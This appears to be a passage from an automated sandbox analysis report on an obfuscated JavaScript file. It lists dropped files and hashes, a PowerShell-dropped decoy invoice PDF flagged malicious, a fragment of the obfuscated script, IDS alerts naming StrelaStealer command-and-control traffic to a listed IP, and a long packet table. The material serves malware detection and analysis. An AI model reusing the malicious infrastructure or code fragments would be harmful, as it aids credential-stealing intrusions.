SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\aa119661-d9dc-43fc-8e16-dab7e1c6c12c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17084), with CRLF line terminators
Entropy (8bit):	4.916995547105876
TrID:
File name:	225803042163626345.js
File size:	20'621 bytes
MD5:	f6926ca4c2c042b138d18b63f20f213a
SHA1:	03b0263de9de4ce5c5106bf06c229edef2a9c0dd
SHA256:	1223b90121822655103ca11cad80f121a7e11aea8ef2c85b6f2f2662219a1a12
SHA512:	0f2d677efac370c8d998d7b839774972851c4e92e7f635ee4314a869328a06e180474e02633258d756342412844c2b89b0232645de306668d3e3a792f9996f6e
SSDEEP:	384:MBEYrg3I/OzrGK4Fw4FTsAiz/Wg520wriB+NpGtpiUMx1nufjj3av/0K3vEN8B8y:iEYrx/OzrGK4Fw4FlinmriB+NotpZMxT
TLSH:	0C922409D1FA8A6589DC14D056CB14B1035883EC8ECC93BD6C82D9DF8D97720E7DBAB6
File Content Preview:	function fvfaq(){kmzqjkw=[1031,3079,5127,4103,2055,3072];var lrosgp=this[cfoizqetn+pjgijyf+raulp+oeifdeyo+rcgebs+tlmpgws+xjujzd+yjfefrgt](this[uzdwgswxf+ublyhoalp+bqmeok+raulp+zlsplogtc+cfoizqetn+yjfefrgt][srfkomzo+raulp+rcgebs+pjgijyf+yjfefrgt+rcgebs+umn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:18:52.327341+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T06:18:52.327341+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T06:18:55.016746+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:18:51.521897078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:51.526735067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:51.526922941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:51.529690981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:51.534440041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327199936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327229023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327239990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327251911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327265024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327276945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327290058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327302933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327330112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327341080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.327364922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.327416897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.327440023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.381520033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.381550074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.381561995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.381645918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.448040962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448182106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448195934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448272943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.448348999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448363066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448390961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.448441029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448451996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448465109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448476076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.448507071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.448817968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448832989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448847055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448868036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.448919058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448932886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.448959112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.449734926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.449750900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.449764013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.449774981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.449778080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.449790001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.449811935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.449851036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.450599909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.469105005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.469120979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.469227076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.502594948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.502610922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.502623081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.502638102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.502716064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.502763987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.549422026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.549446106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.549653053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.570467949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570496082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570518017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570537090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570570946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570590973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570611000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570631027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570652962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.570693016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.570693016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.570693016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.571458101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.571477890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.571499109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.571516991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.571552992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.571628094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.571646929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.571665049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.571698904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.572150946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.572170019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.572189093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.572223902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.572223902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.572297096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.572316885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.572336912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.572356939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.572375059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.572406054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.573131084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.573304892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.573326111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.573348045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.573364019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.573369026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.573389053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.573410988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.573415041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.573446989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.573978901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.574037075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.574148893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.574171066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.574192047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.574210882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.574230909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.574237108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.574254036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.574266911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.574311018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.575036049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.575054884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.575107098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.590212107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.590233088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.590250015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.590285063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.590392113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.590460062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.625001907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.625026941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.625041008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.625052929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.625066996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.625081062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.625144005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.625224113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.656951904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.656979084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.656992912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.657006025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.657020092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.657094002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.657150984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.690490007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690507889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690520048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690557957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690571070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690639973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.690664053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.690675020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690685987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690718889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.690818071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690829039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690841913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690860987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.690880060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690891981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690903902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.690913916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.690936089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.691428900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691442966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691451073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691456079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691462994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691468954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691482067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691534996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.691942930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691955090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691977978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.691986084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.691988945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692003012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692017078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.692055941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.692383051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692394972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692406893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692444086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692446947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.692456007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692468882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692480087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.692482948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692521095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.692569971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692581892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692594051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.692610979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.692634106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.693439007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693450928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693461895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693475008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693489075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693500042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693505049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.693511963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.693521976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693532944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693547010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693561077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.693562031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.693593979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.693613052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.694259882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694291115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694302082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694331884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.694466114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694482088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694494009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694505930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.694506884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694521904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694529057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.694534063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694546938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.694557905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.694583893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.695233107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.695250988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.695271015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.695282936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.695297956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.695300102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.695305109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.695332050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.695346117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.695357084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.695374966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.695389986 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.703299046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.711493969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711510897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711525917 CET	80	49709	193.143.1.205	192.168.2.6
